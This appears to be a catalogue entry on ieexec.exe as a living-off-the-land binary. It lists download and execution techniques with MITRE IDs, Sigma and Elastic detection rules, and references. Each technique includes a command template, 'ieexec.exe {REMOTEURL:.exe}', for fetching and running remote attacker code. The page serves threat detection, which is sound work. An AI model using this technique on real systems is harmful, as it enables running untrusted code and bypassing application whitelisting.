LOL · Binary

Ieexec.exe

2 techniquesWindowsLOLBASGPL-3.0

Download

File DownloadWindows

Downloads and executes executable from the remote server.

Use Download and run attacker code from remote location

ieexec.exe {REMOTEURL:.exe}

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Download
MITRE: T1105
Detection: Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml
Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
IOC: Network connections originating from ieexec.exe may be suspicious
Refs: room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/
lolbas-project.github.io/lolbas/Binaries/Ieexec/

ExecutionWindows

Downloads and executes executable from the remote server.

Use Download and run attacker code from remote location

ieexec.exe {REMOTEURL:.exe}

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Execute
MITRE: T1218
Detection: Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml
Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
IOC: Network connections originating from ieexec.exe may be suspicious
Refs: room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/
lolbas-project.github.io/lolbas/Binaries/Ieexec/